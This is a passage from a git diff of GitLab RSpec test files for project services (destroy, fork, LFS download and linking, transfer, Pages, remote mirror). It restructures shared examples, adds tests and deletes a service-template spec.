+ it 'removes tags' do
+ expect_any_instance_of(ContainerRepository)
+ .to receive(:delete_tags!).and_return(true)
- expect(destroy_project(project, user)).to be false
+ destroy_project(project, user)
+ end
end
- end
- context 'when registry is disabled' do
- before do
- stub_container_registry_config(enabled: false)
+ context 'when image repository deletion fails' do
+ it 'raises an exception' do
+ expect_any_instance_of(ContainerRepository)
+ .to receive(:delete_tags!).and_raise(RuntimeError)
+
+ expect(destroy_project(project, user)).to be false
+ end
end
- it 'does not attempting to remove any tags' do
- expect(Projects::ContainerRepository::DestroyService).not_to receive(:new)
+ context 'when registry is disabled' do
+ before do
+ stub_container_registry_config(enabled: false)
+ end
- destroy_project(project, user)
+ it 'does not attempting to remove any tags' do
+ expect(Projects::ContainerRepository::DestroyService).not_to receive(:new)
+
+ destroy_project(project, user)
+ end
end
end
- end
- context 'when there are tags for legacy root repository' do
- before do
- stub_container_registry_tags(repository: project.full_path,
- tags: ['tag'])
- end
+ context 'when there are tags for legacy root repository' do
+ before do
+ stub_container_registry_tags(repository: project.full_path,
+ tags: ['tag'])
+ end
- context 'when image repository tags deletion succeeds' do
- it 'removes tags' do
- expect_any_instance_of(ContainerRepository)
- .to receive(:delete_tags!).and_return(true)
+ context 'when image repository tags deletion succeeds' do
+ it 'removes tags' do
+ expect_any_instance_of(ContainerRepository)
+ .to receive(:delete_tags!).and_return(true)
- destroy_project(project, user)
+ destroy_project(project, user)
+ end
end
- end
- context 'when image repository tags deletion fails' do
- it 'raises an exception' do
- expect_any_instance_of(ContainerRepository)
- .to receive(:delete_tags!).and_return(false)
+ context 'when image repository tags deletion fails' do
+ it 'raises an exception' do
+ expect_any_instance_of(ContainerRepository)
+ .to receive(:delete_tags!).and_return(false)
- expect(destroy_project(project, user)).to be false
+ expect(destroy_project(project, user)).to be false
+ end
end
end
end
- end
- context 'for a forked project with LFS objects' do
- let(:forked_project) { fork_project(project, user) }
+ context 'for a forked project with LFS objects' do
+ let(:forked_project) { fork_project(project, user) }
- before do
- project.lfs_objects << create(:lfs_object)
- forked_project.reload
- end
+ before do
+ project.lfs_objects << create(:lfs_object)
+ forked_project.reload
+ end
- it 'destroys the fork' do
- expect { destroy_project(forked_project, user) }
- .not_to raise_error
+ it 'destroys the fork' do
+ expect { destroy_project(forked_project, user) }
+ .not_to raise_error
+ end
end
- end
- context 'as the root of a fork network' do
- let!(:fork_1) { fork_project(project, user) }
- let!(:fork_2) { fork_project(project, user) }
+ context 'as the root of a fork network' do
+ let!(:fork_1) { fork_project(project, user) }
+ let!(:fork_2) { fork_project(project, user) }
- it 'updates the fork network with the project name' do
- fork_network = project.fork_network
+ it 'updates the fork network with the project name' do
+ fork_network = project.fork_network
- destroy_project(project, user)
+ destroy_project(project, user)
- fork_network.reload
+ fork_network.reload
- expect(fork_network.deleted_root_project_name).to eq(project.full_name)
- expect(fork_network.root_project).to be_nil
+ expect(fork_network.deleted_root_project_name).to eq(project.full_name)
+ expect(fork_network.root_project).to be_nil
+ end
end
- end
- context 'repository +deleted path removal' do
- context 'regular phase' do
- it 'schedules +deleted removal of existing repos' do
- service = described_class.new(project, user, {})
- allow(service).to receive(:schedule_stale_repos_removal)
+ context 'repository +deleted path removal' do
+ context 'regular phase' do
+ it 'schedules +deleted removal of existing repos' do
+ service = described_class.new(project, user, {})
+ allow(service).to receive(:schedule_stale_repos_removal)
- expect(Repositories::ShellDestroyService).to receive(:new).and_call_original
- expect(GitlabShellWorker).to receive(:perform_in)
- .with(5.minutes, :remove_repository, project.repository_storage, removal_path(project.disk_path))
+ expect(Repositories::ShellDestroyService).to receive(:new).and_call_original
+ expect(GitlabShellWorker).to receive(:perform_in)
+ .with(5.minutes, :remove_repository, project.repository_storage, removal_path(project.disk_path))
- service.execute
+ service.execute
+ end
end
- end
- context 'stale cleanup' do
- let(:async) { true }
+ context 'stale cleanup' do
+ let(:async) { true }
- it 'schedules +deleted wiki and repo removal' do
- allow(ProjectDestroyWorker).to receive(:perform_async)
+ it 'schedules +deleted wiki and repo removal' do
+ allow(ProjectDestroyWorker).to receive(:perform_async)
- expect(Repositories::ShellDestroyService).to receive(:new).with(project.repository).and_call_original
- expect(GitlabShellWorker).to receive(:perform_in)
- .with(10.minutes, :remove_repository, project.repository_storage, removal_path(project.disk_path))
+ expect(Repositories::ShellDestroyService).to receive(:new).with(project.repository).and_call_original
+ expect(GitlabShellWorker).to receive(:perform_in)
+ .with(10.minutes, :remove_repository, project.repository_storage, removal_path(project.disk_path))
- expect(Repositories::ShellDestroyService).to receive(:new).with(project.wiki.repository).and_call_original
- expect(GitlabShellWorker).to receive(:perform_in)
- .with(10.minutes, :remove_repository, project.repository_storage, removal_path(project.wiki.disk_path))
+ expect(Repositories::ShellDestroyService).to receive(:new).with(project.wiki.repository).and_call_original
+ expect(GitlabShellWorker).to receive(:perform_in)
+ .with(10.minutes, :remove_repository, project.repository_storage, removal_path(project.wiki.disk_path))
- destroy_project(project, user, {})
+ destroy_project(project, user, {})
+ end
end
end
- end
- context 'snippets' do
- let!(:snippet1) { create(:project_snippet, project: project, author: user) }
- let!(:snippet2) { create(:project_snippet, project: project, author: user) }
+ context 'snippets' do
+ let!(:snippet1) { create(:project_snippet, project: project, author: user) }
+ let!(:snippet2) { create(:project_snippet, project: project, author: user) }
- it 'does not include snippets when deleting in batches' do
- expect(project).to receive(:destroy_dependent_associations_in_batches).with({ exclude: [:container_repositories, :snippets] })
+ it 'does not include snippets when deleting in batches' do
+ expect(project).to receive(:destroy_dependent_associations_in_batches).with({ exclude: [:container_repositories, :snippets] })
- destroy_project(project, user)
- end
+ destroy_project(project, user)
+ end
- it 'calls the bulk snippet destroy service' do
- expect(project.snippets.count).to eq 2
+ it 'calls the bulk snippet destroy service' do
+ expect(project.snippets.count).to eq 2
- expect(Snippets::BulkDestroyService).to receive(:new)
- .with(user, project.snippets).and_call_original
+ expect(Snippets::BulkDestroyService).to receive(:new)
+ .with(user, project.snippets).and_call_original
- expect do
- destroy_project(project, user)
- end.to change(Snippet, :count).by(-2)
- end
+ expect do
+ destroy_project(project, user)
+ end.to change(Snippet, :count).by(-2)
+ end
- context 'when an error is raised deleting snippets' do
- it 'does not delete project' do
- allow_next_instance_of(Snippets::BulkDestroyService) do |instance|
- allow(instance).to receive(:execute).and_return(ServiceResponse.error(message: 'foo'))
+ context 'when an error is raised deleting snippets' do
+ it 'does not delete project' do
+ allow_next_instance_of(Snippets::BulkDestroyService) do |instance|
+ allow(instance).to receive(:execute).and_return(ServiceResponse.error(message: 'foo'))
+ end
+
+ expect(destroy_project(project, user)).to be_falsey
+ expect(project.gitlab_shell.repository_exists?(project.repository_storage, path + '.git')).to be_truthy
end
+ end
+ end
- expect(destroy_project(project, user)).to be_falsey
- expect(project.gitlab_shell.repository_exists?(project.repository_storage, path + '.git')).to be_truthy
+ context 'error while destroying', :sidekiq_inline do
+ let!(:pipeline) { create(:ci_pipeline, project: project) }
+ let!(:builds) { create_list(:ci_build, 2, :artifacts, pipeline: pipeline) }
+ let!(:build_trace) { create(:ci_build_trace_chunk, build: builds[0]) }
+
+ it 'deletes on retry' do
+ # We can expect this to timeout for very large projects
+ # TODO: remove allow_next_instance_of: https://gitlab.com/gitlab-org/gitlab/-/issues/220440
+ allow_any_instance_of(Ci::Build).to receive(:destroy).and_raise('boom')
+ destroy_project(project, user, {})
+
+ allow_any_instance_of(Ci::Build).to receive(:destroy).and_call_original
+ destroy_project(project, user, {})
+
+ expect(Project.unscoped.all).not_to include(project)
+ expect(project.gitlab_shell.repository_exists?(project.repository_storage, path + '.git')).to be_falsey
+ expect(project.gitlab_shell.repository_exists?(project.repository_storage, remove_path + '.git')).to be_falsey
+ expect(project.all_pipelines).to be_empty
+ expect(project.builds).to be_empty
end
end
end
+ context 'when project_transactionless_destroy enabled' do
+ it_behaves_like 'project destroy'
+ end
+
+ context 'when project_transactionless_destroy disabled', :sidekiq_inline do
+ before do
+ stub_feature_flags(project_transactionless_destroy: false)
+ end
+
+ it_behaves_like 'project destroy'
+ end
+
def destroy_project(project, user, params = {})
described_class.new(project, user, params).public_send(async ? :async_execute : :execute)
end
diff --git a/spec/services/projects/fork_service_spec.rb b/spec/services/projects/fork_service_spec.rb
index 925c2ff5d88..166a2dae55b 100644
--- a/spec/services/projects/fork_service_spec.rb
+++ b/spec/services/projects/fork_service_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Projects::ForkService do
it 'flushes the forks count cache of the source project', :clean_gitlab_redis_cache do
expect(from_project.forks_count).to be_zero
- fork_project(from_project, to_user)
+ fork_project(from_project, to_user, using_service: true)
BatchLoader::Executor.clear_current
expect(from_project.forks_count).to eq(1)
@@ -40,7 +40,7 @@ RSpec.describe Projects::ForkService do
@guest = create(:user)
@from_project.add_user(@guest, :guest)
end
- subject { fork_project(@from_project, @guest) }
+ subject { fork_project(@from_project, @guest, using_service: true) }
it { is_expected.not_to be_persisted }
it { expect(subject.errors[:forked_from_project_id]).to eq(['is forbidden']) }
@@ -56,7 +56,7 @@ RSpec.describe Projects::ForkService do
end
describe "successfully creates project in the user namespace" do
- let(:to_project) { fork_project(@from_project, @to_user, namespace: @to_user.namespace) }
+ let(:to_project) { fork_project(@from_project, @to_user, namespace: @to_user.namespace, using_service: true) }
it { expect(to_project).to be_persisted }
it { expect(to_project.errors).to be_empty }
@@ -92,21 +92,21 @@ RSpec.describe Projects::ForkService do
end
it 'imports the repository of the forked project', :sidekiq_might_not_need_inline do
- to_project = fork_project(@from_project, @to_user, repository: true)
+ to_project = fork_project(@from_project, @to_user, repository: true, using_service: true)
expect(to_project.empty_repo?).to be_falsy
end
end
context 'creating a fork of a fork' do
- let(:from_forked_project) { fork_project(@from_project, @to_user) }
+ let(:from_forked_project) { fork_project(@from_project, @to_user, using_service: true) }
let(:other_namespace) do
group = create(:group)
group.add_owner(@to_user)
group
end
- let(:to_project) { fork_project(from_forked_project, @to_user, namespace: other_namespace) }
+ let(:to_project) { fork_project(from_forked_project, @to_user, namespace: other_namespace, using_service: true) }
it 'sets the root of the network to the root project' do
expect(to_project.fork_network.root_project).to eq(@from_project)
@@ -126,7 +126,7 @@ RSpec.describe Projects::ForkService do
context 'project already exists' do
it "fails due to validation, not transaction failure" do
@existing_project = create(:project, :repository, creator_id: @to_user.id, name: @from_project.name, namespace: @to_namespace)
- @to_project = fork_project(@from_project, @to_user, namespace: @to_namespace)
+ @to_project = fork_project(@from_project, @to_user, namespace: @to_namespace, using_service: true)
expect(@existing_project).to be_persisted
expect(@to_project).not_to be_persisted
@@ -137,7 +137,7 @@ RSpec.describe Projects::ForkService do
context 'repository in legacy storage already exists' do
let(:fake_repo_path) { File.join(TestEnv.repos_path, @to_user.namespace.full_path, "#{@from_project.path}.git") }
- let(:params) { { namespace: @to_user.namespace } }
+ let(:params) { { namespace: @to_user.namespace, using_service: true } }
before do
stub_application_setting(hashed_storage_enabled: false)
@@ -169,13 +169,13 @@ RSpec.describe Projects::ForkService do
context 'GitLab CI is enabled' do
it "forks and enables CI for fork" do
@from_project.enable_ci
- @to_project = fork_project(@from_project, @to_user)
+ @to_project = fork_project(@from_project, @to_user, using_service: true)
expect(@to_project.builds_enabled?).to be_truthy
end
end
context "CI/CD settings" do
- let(:to_project) { fork_project(@from_project, @to_user) }
+ let(:to_project) { fork_project(@from_project, @to_user, using_service: true) }
context "when origin has git depth specified" do
before do
@@ -206,7 +206,7 @@ RSpec.describe Projects::ForkService do
end
it "creates fork with lowest level" do
- forked_project = fork_project(@from_project, @to_user)
+ forked_project = fork_project(@from_project, @to_user, using_service: true)
expect(forked_project.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
end
@@ -218,7 +218,7 @@ RSpec.describe Projects::ForkService do
end
it "creates fork with private visibility levels" do
- forked_project = fork_project(@from_project, @to_user)
+ forked_project = fork_project(@from_project, @to_user, using_service: true)
expect(forked_project.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
end
@@ -232,7 +232,7 @@ RSpec.describe Projects::ForkService do
end
it 'fails' do
- to_project = fork_project(@from_project, @to_user, namespace: @to_user.namespace)
+ to_project = fork_project(@from_project, @to_user, namespace: @to_user.namespace, using_service: true)
expect(to_project.errors[:forked_from_project_id]).to eq(['is forbidden'])
end
@@ -253,7 +253,7 @@ RSpec.describe Projects::ForkService do
@group.add_user(@developer, GroupMember::DEVELOPER)
@project.add_user(@developer, :developer)
@project.add_user(@group_owner, :developer)
- @opts = { namespace: @group }
+ @opts = { namespace: @group, using_service: true }
end
context 'fork project for group' do
@@ -299,7 +299,7 @@ RSpec.describe Projects::ForkService do
group_owner = create(:user)
private_group.add_owner(group_owner)
- forked_project = fork_project(public_project, group_owner, namespace: private_group)
+ forked_project = fork_project(public_project, group_owner, namespace: private_group, using_service: true)
expect(forked_project.visibility_level).to eq(Gitlab::VisibilityLevel::PRIVATE)
end
@@ -310,7 +310,7 @@ RSpec.describe Projects::ForkService do
context 'when a project is already forked' do
it 'creates a new poolresository after the project is moved to a new shard' do
project = create(:project, :public, :repository)
- fork_before_move = fork_project(project)
+ fork_before_move = fork_project(project, nil, using_service: true)
# Stub everything required to move a project to a Gitaly shard that does not exist
allow(Gitlab::GitalyClient).to receive(:filesystem_id).with('default').and_call_original
@@ -329,7 +329,7 @@ RSpec.describe Projects::ForkService do
destination_storage_name: 'test_second_storage'
)
Projects::UpdateRepositoryStorageService.new(storage_move).execute
- fork_after_move = fork_project(project.reload)
+ fork_after_move = fork_project(project.reload, nil, using_service: true)
pool_repository_before_move = PoolRepository.joins(:shard)
.find_by(source_project: project, shards: { name: 'default' })
pool_repository_after_move = PoolRepository.joins(:shard)
@@ -350,7 +350,7 @@ RSpec.describe Projects::ForkService do
context 'when no pool exists' do
it 'creates a new object pool' do
- forked_project = fork_project(fork_from_project, forker)
+ forked_project = fork_project(fork_from_project, forker, using_service: true)
expect(forked_project.pool_repository).to eq(fork_from_project.pool_repository)
end
@@ -360,7 +360,7 @@ RSpec.describe Projects::ForkService do
let!(:pool_repository) { create(:pool_repository, source_project: fork_from_project) }
it 'joins the object pool' do
- forked_project = fork_project(fork_from_project, forker)
+ forked_project = fork_project(fork_from_project, forker, using_service: true)
expect(forked_project.pool_repository).to eq(fork_from_project.pool_repository)
end
diff --git a/spec/services/projects/hashed_storage/base_attachment_service_spec.rb b/spec/services/projects/hashed_storage/base_attachment_service_spec.rb
index 5e1b6f2e404..969381b8748 100644
--- a/spec/services/projects/hashed_storage/base_attachment_service_spec.rb
+++ b/spec/services/projects/hashed_storage/base_attachment_service_spec.rb
@@ -30,7 +30,7 @@ RSpec.describe Projects::HashedStorage::BaseAttachmentService do
target_path = Dir.mktmpdir
expect(Dir.exist?(target_path)).to be_truthy
- Timecop.freeze do
+ freeze_time do
suffix = Time.current.utc.to_i
subject.send(:discard_path!, target_path)
diff --git a/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb b/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
index a606371099d..cfe8e863223 100644
--- a/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
+++ b/spec/services/projects/lfs_pointers/lfs_download_service_spec.rb
@@ -4,7 +4,8 @@ require 'spec_helper'
RSpec.describe Projects::LfsPointers::LfsDownloadService do
include StubRequests
- let(:project) { create(:project) }
+ let_it_be(:project) { create(:project) }
+
let(:lfs_content) { SecureRandom.random_bytes(10) }
let(:oid) { Digest::SHA256.hexdigest(lfs_content) }
let(:download_link) { "http://gitlab.com/#{oid}" }
@@ -14,9 +15,11 @@ RSpec.describe Projects::LfsPointers::LfsDownloadService do
subject { described_class.new(project, lfs_object) }
- before do
+ before_all do
ApplicationSetting.create_from_defaults
+ end
+ before do
stub_application_setting(allow_local_requests_from_web_hooks_and_services: local_request_setting)
allow(project).to receive(:lfs_enabled?).and_return(true)
end
@@ -226,5 +229,55 @@ RSpec.describe Projects::LfsPointers::LfsDownloadService do
subject.execute
end
end
+
+ context 'when a large lfs object with the same oid already exists' do
+ let!(:existing_lfs_object) { create(:lfs_object, :with_file, :correct_oid) }
+
+ before do
+ stub_const("#{described_class}::LARGE_FILE_SIZE", 500)
+ stub_full_request(download_link).to_return(body: lfs_content)
+ end
+
+ context 'and first fragments are the same' do
+ let(:lfs_content) { existing_lfs_object.file.read }
+
+ context 'when lfs_link_existing_object feature flag disabled' do
+ before do
+ stub_feature_flags(lfs_link_existing_object: false)
+ end
+
+ it 'does not call link_existing_lfs_object!' do
+ expect(subject).not_to receive(:link_existing_lfs_object!)
+
+ subject.execute
+ end
+ end
+
+ it 'returns success' do
+ expect(subject.execute).to eq({ status: :success })
+ end
+
+ it 'links existing lfs object to the project' do
+ expect { subject.execute }
+ .to change { project.lfs_objects.include?(existing_lfs_object) }.from(false).to(true)
+ end
+ end
+
+ context 'and first fragments diverges' do
+ let(:lfs_content) { SecureRandom.random_bytes(1000) }
+ let(:oid) { existing_lfs_object.oid }
+
+ it 'raises oid mismatch error' do
+ expect(subject.execute).to eq({
+ status: :error,
+ message: "LFS file with oid #{oid} cannot be linked with an existing LFS object"
+ })
+ end
+
+ it 'does not change lfs objects' do
+ expect { subject.execute }.not_to change { project.lfs_objects }
+ end
+ end
+ end
end
end
diff --git a/spec/services/projects/lfs_pointers/lfs_link_service_spec.rb b/spec/services/projects/lfs_pointers/lfs_link_service_spec.rb
index d59f5dbae19..0e7d16f18e8 100644
--- a/spec/services/projects/lfs_pointers/lfs_link_service_spec.rb
+++ b/spec/services/projects/lfs_pointers/lfs_link_service_spec.rb
@@ -24,11 +24,11 @@ RSpec.describe Projects::LfsPointers::LfsLinkService do
end
it 'links existing lfs objects to the project' do
- expect(project.all_lfs_objects.count).to eq 2
+ expect(project.lfs_objects.count).to eq 2
linked = subject.execute(new_oid_list.keys)
- expect(project.all_lfs_objects.count).to eq 3
+ expect(project.lfs_objects.count).to eq 3
expect(linked.size).to eq 3
end
@@ -52,7 +52,7 @@ RSpec.describe Projects::LfsPointers::LfsLinkService do
lfs_objects = create_list(:lfs_object, 7)
linked = subject.execute(lfs_objects.pluck(:oid))
- expect(project.all_lfs_objects.count).to eq 9
+ expect(project.lfs_objects.count).to eq 9
expect(linked.size).to eq 7
end
diff --git a/spec/services/projects/open_issues_count_service_spec.rb b/spec/services/projects/open_issues_count_service_spec.rb
index c739fea5ecf..294c9adcc92 100644
--- a/spec/services/projects/open_issues_count_service_spec.rb
+++ b/spec/services/projects/open_issues_count_service_spec.rb
@@ -10,6 +10,14 @@ RSpec.describe Projects::OpenIssuesCountService, :use_clean_rails_memory_store_c
it_behaves_like 'a counter caching service'
describe '#count' do
+ it 'does not count test cases' do
+ create(:issue, :opened, project: project)
+ create(:incident, :opened, project: project)
+ create(:quality_test_case, :opened, project: project)
+
+ expect(described_class.new(project).count).to eq(2)
+ end
+
context 'when user is nil' do
it 'does not include confidential issues in the issue count' do
create(:issue, :opened, project: project)
diff --git a/spec/services/projects/overwrite_project_service_spec.rb b/spec/services/projects/overwrite_project_service_spec.rb
index e4495da9807..a03746d0271 100644
--- a/spec/services/projects/overwrite_project_service_spec.rb
+++ b/spec/services/projects/overwrite_project_service_spec.rb
@@ -16,6 +16,8 @@ RSpec.describe Projects::OverwriteProjectService do
subject { described_class.new(project_to, user) }
before do
+ project_to.project_feature.reload
+
allow(project_to).to receive(:import_data).and_return(double(data: { 'original_path' => project_from.path }))
end
diff --git a/spec/services/projects/prometheus/alerts/notify_service_spec.rb b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
index efe8e8b9243..0e5ac7c69e3 100644
--- a/spec/services/projects/prometheus/alerts/notify_service_spec.rb
+++ b/spec/services/projects/prometheus/alerts/notify_service_spec.rb
@@ -16,11 +16,6 @@ RSpec.describe Projects::Prometheus::Alerts::NotifyService do
let(:subject) { service.execute(token_input) }
- before do
- # We use `let_it_be(:project)` so we make sure to clear caches
- project.clear_memoization(:licensed_feature_available)
- end
-
context 'with valid payload' do
let_it_be(:alert_firing) { create(:prometheus_alert, project: project) }
let_it_be(:alert_resolved) { create(:prometheus_alert, project: project) }
diff --git a/spec/services/projects/propagate_service_template_spec.rb b/spec/services/projects/propagate_service_template_spec.rb
deleted file mode 100644
index df69e5a29fb..00000000000
--- a/spec/services/projects/propagate_service_template_spec.rb
+++ /dev/null
@@ -1,139 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Projects::PropagateServiceTemplate do
- describe '.propagate' do
- let!(:service_template) do
- PushoverService.create(
- template: true,
- active: true,
- push_events: false,
- properties: {
- device: 'MyDevice',
- sound: 'mic',
- priority: 4,
- user_key: 'asdf',
- api_key: '123456789'
- }
- )
- end
-
- let!(:project) { create(:project) }
- let(:excluded_attributes) { %w[id project_id template created_at updated_at default] }
-
- it 'creates services for projects' do
- expect(project.pushover_service).to be_nil
-
- described_class.propagate(service_template)
-
- expect(project.reload.pushover_service).to be_present
- end
-
- it 'creates services for a project that has another service' do
- BambooService.create(
- template: true,
- active: true,
- project: project,
- properties: {
- bamboo_url: 'http://gitlab.com',
- username: 'mic',
- password: 'password',
- build_key: 'build'
- }
- )
-
- expect(project.pushover_service).to be_nil
-
- described_class.propagate(service_template)
-
- expect(project.reload.pushover_service).to be_present
- end
-
- it 'does not create the service if it exists already' do
- other_service = BambooService.create(
- template: true,
- active: true,
- properties: {
- bamboo_url: 'http://gitlab.com',
- username: 'mic',
- password: 'password',
- build_key: 'build'
- }
- )
-
- Service.build_from_integration(project.id, service_template).save!
- Service.build_from_integration(project.id, other_service).save!
-
- expect { described_class.propagate(service_template) }
- .not_to change { Service.count }
- end
-
- it 'creates the service containing the template attributes' do
- described_class.propagate(service_template)
-
- expect(project.pushover_service.properties).to eq(service_template.properties)
-
- expect(project.pushover_service.attributes.except(*excluded_attributes))
- .to eq(service_template.attributes.except(*excluded_attributes))
- end
-
- context 'service with data fields' do
- let(:service_template) do
- JiraService.create!(
- template: true,
- active: true,
- push_events: false,
- url: 'http://jira.instance.com',
- username: 'user',
- password: 'secret'
- )
- end
-
- it 'creates the service containing the template attributes' do
- described_class.propagate(service_template)
-
- expect(project.jira_service.attributes.except(*excluded_attributes))
- .to eq(service_template.attributes.except(*excluded_attributes))
-
- excluded_attributes = %w[id service_id created_at updated_at]
- expect(project.jira_service.data_fields.attributes.except(*excluded_attributes))
- .to eq(service_template.data_fields.attributes.except(*excluded_attributes))
- end
- end
-
- describe 'bulk update', :use_sql_query_cache do
- let(:project_total) { 5 }
-
- before do
- stub_const 'Projects::PropagateServiceTemplate::BATCH_SIZE', 3
-
- project_total.times { create(:project) }
-
- described_class.propagate(service_template)
- end
-
- it 'creates services for all projects' do
- expect(Service.all.reload.count).to eq(project_total + 2)
- end
- end
-
- describe 'external tracker' do
- it 'updates the project external tracker' do
- service_template.update!(category: 'issue_tracker')
-
- expect { described_class.propagate(service_template) }
- .to change { project.reload.has_external_issue_tracker }.to(true)
- end
- end
-
- describe 'external wiki' do
- it 'updates the project external tracker' do
- service_template.update!(type: 'ExternalWikiService')
-
- expect { described_class.propagate(service_template) }
- .to change { project.reload.has_external_wiki }.to(true)
- end
- end
- end
-end
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index 3362b333c6e..a0e83fb4a21 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe Projects::TransferService do
include GitHelpers
- let(:user) { create(:user) }
- let(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:group) { create(:group) }
let(:project) { create(:project, :repository, :legacy_storage, namespace: user.namespace) }
subject(:execute_transfer) { described_class.new(project, user).execute(group) }
@@ -489,6 +489,29 @@ RSpec.describe Projects::TransferService do
end
end
+ context 'moving pages' do
+ let_it_be(:project) { create(:project, namespace: user.namespace) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ it 'schedules a job when pages are deployed' do
+ project.mark_pages_as_deployed
+
+ expect(PagesTransferWorker).to receive(:perform_async)
+ .with("move_project", [project.path, user.namespace.full_path, group.full_path])
+
+ execute_transfer
+ end
+
+ it 'does not schedule a job when no pages are deployed' do
+ expect(PagesTransferWorker).not_to receive(:perform_async)
+
+ execute_transfer
+ end
+ end
+
def rugged_config
rugged_repo(project.repository).config
end
diff --git a/spec/services/projects/unlink_fork_service_spec.rb b/spec/services/projects/unlink_fork_service_spec.rb
index 6a2c55a5e55..073e2e09397 100644
--- a/spec/services/projects/unlink_fork_service_spec.rb
+++ b/spec/services/projects/unlink_fork_service_spec.rb
@@ -58,26 +58,6 @@ RSpec.describe Projects::UnlinkForkService, :use_clean_rails_memory_store_cachin
expect(source.forks_count).to be_zero
end
- context 'when the source has LFS objects' do
- let(:lfs_object) { create(:lfs_object) }
-
- before do
- lfs_object.projects << project
- end
-
- it 'links the fork to the lfs object before unlinking' do
- subject.execute
-
- expect(lfs_object.projects).to include(forked_project)
- end
-
- it 'does not fail if the lfs objects were already linked' do
- lfs_object.projects << forked_project
-
- expect { subject.execute }.not_to raise_error
- end
- end
-
context 'when the original project was deleted' do
it 'does not fail when the original project is deleted' do
source = forked_project.forked_from_project
@@ -152,24 +132,6 @@ RSpec.describe Projects::UnlinkForkService, :use_clean_rails_memory_store_cachin
expect(project.forks_count).to be_zero
end
- context 'when given project is a fork of an unlinked parent' do
- let!(:fork_of_fork) { fork_project(forked_project, user) }
- let(:lfs_object) { create(:lfs_object) }
-
- before do
- lfs_object.projects << project
- end
-
- it 'saves lfs objects to the root project' do
- # Remove parent from network
- described_class.new(forked_project, user).execute
-
- described_class.new(fork_of_fork, user).execute
-
- expect(lfs_object.projects).to include(fork_of_fork)
- end
- end
-
context 'and is node with a parent' do
subject { described_class.new(forked_project, user) }
diff --git a/spec/services/projects/update_pages_configuration_service_spec.rb b/spec/services/projects/update_pages_configuration_service_spec.rb
index 9f7ebd40df6..294de813e02 100644
--- a/spec/services/projects/update_pages_configuration_service_spec.rb
+++ b/spec/services/projects/update_pages_configuration_service_spec.rb
@@ -48,15 +48,6 @@ RSpec.describe Projects::UpdatePagesConfigurationService do
expect(subject).to include(status: :success)
end
end
-
- context 'when an error occurs' do
- it 'returns an error object' do
- e = StandardError.new("Failure")
- allow(service).to receive(:reload_daemon).and_raise(e)
-
- expect(subject).to eq(status: :error, message: "Failure", exception: e)
- end
- end
end
context 'when pages are not deployed' do
diff --git a/spec/services/projects/update_pages_service_spec.rb b/spec/services/projects/update_pages_service_spec.rb
index 374ce4f4ce2..bfb3cbb0131 100644
--- a/spec/services/projects/update_pages_service_spec.rb
+++ b/spec/services/projects/update_pages_service_spec.rb
@@ -29,8 +29,9 @@ RSpec.describe Projects::UpdatePagesService do
context 'for new artifacts' do
context "for a valid job" do
+ let!(:artifacts_archive) { create(:ci_job_artifact, file: file, job: build) }
+
before do
- create(:ci_job_artifact, file: file, job: build)
create(:ci_job_artifact, file_type: :metadata, file_format: :gzip, file: metadata, job: build)
build.reload
@@ -49,6 +50,7 @@ RSpec.describe Projects::UpdatePagesService do
expect(project.pages_deployed?).to be_falsey
expect(execute).to eq(:success)
expect(project.pages_metadatum).to be_deployed
+ expect(project.pages_metadatum.artifacts_archive).to eq(artifacts_archive)
expect(project.pages_deployed?).to be_truthy
# Check that all expected files are extracted
diff --git a/spec/services/projects/update_remote_mirror_service_spec.rb b/spec/services/projects/update_remote_mirror_service_spec.rb
index 6785b71fcc0..1de04888e0a 100644
--- a/spec/services/projects/update_remote_mirror_service_spec.rb
+++ b/spec/services/projects/update_remote_mirror_service_spec.rb
@@ -3,9 +3,10 @@
require 'spec_helper'
RSpec.describe Projects::UpdateRemoteMirrorService do
- let(:project) { create(:project, :repository) }
- let(:remote_project) { create(:forked_project_with_submodules) }
- let(:remote_mirror) { create(:remote_mirror, project: project, enabled: true) }
+ let_it_be(:project) { create(:project, :repository, lfs_enabled: true) }
+ let_it_be(:remote_project) { create(:forked_project_with_submodules) }
+ let_it_be(:remote_mirror) { create(:remote_mirror, project: project, enabled: true) }
+
let(:remote_name) { remote_mirror.remote_name }
subject(:service) { described_class.new(project, project.creator) }
@@ -79,7 +80,6 @@ RSpec.describe Projects::UpdateRemoteMirrorService do
with_them do
before do
allow(remote_mirror).to receive(:url).and_return(url)
- allow(service).to receive(:update_mirror).with(remote_mirror).and_return(true)
end
it "returns expected status" do
@@ -128,5 +128,63 @@ RSpec.describe Projects::UpdateRemoteMirrorService do
expect(remote_mirror.last_error).to include("refs/heads/develop")
end
end
+
+ context "sending lfs objects" do
+ let_it_be(:lfs_pointer) { create(:lfs_objects_project, project: project) }
+
+ before do
+ stub_lfs_setting(enabled: true)
+ end
+
+ context 'feature flag enabled' do
+ before do
+ stub_feature_flags(push_mirror_syncs_lfs: true)
+ end
+
+ it 'pushes LFS objects to a HTTP repository' do
+ expect_next_instance_of(Lfs::PushService) do |service|
+ expect(service).to receive(:execute)
+ end
+
+ execute!
+ end
+
+ it 'does nothing to an SSH repository' do
+ remote_mirror.update!(url: 'ssh://example.com')
+
+ expect_any_instance_of(Lfs::PushService).not_to receive(:execute)
+
+ execute!
+ end
+
+ it 'does nothing if LFS is disabled' do
+ expect(project).to receive(:lfs_enabled?) { false }
+
+ expect_any_instance_of(Lfs::PushService).not_to receive(:execute)
+
+ execute!
+ end
+
+ it 'does nothing if non-password auth is specified' do
+ remote_mirror.update!(auth_method: 'ssh_public_key')
+
+ expect_any_instance_of(Lfs::PushService).not_to receive(:execute)
+
+ execute!
+ end
+ end
+
+ context 'feature flag disabled' do
+ before do
+ stub_feature_flags(push_mirror_syncs_lfs: false)
+ end
+
+ it 'does nothing' do
+ expect_any_instance_of(Lfs::PushService).not_to receive(:execute)
+
+ execute!
+ end
+ end
+ end
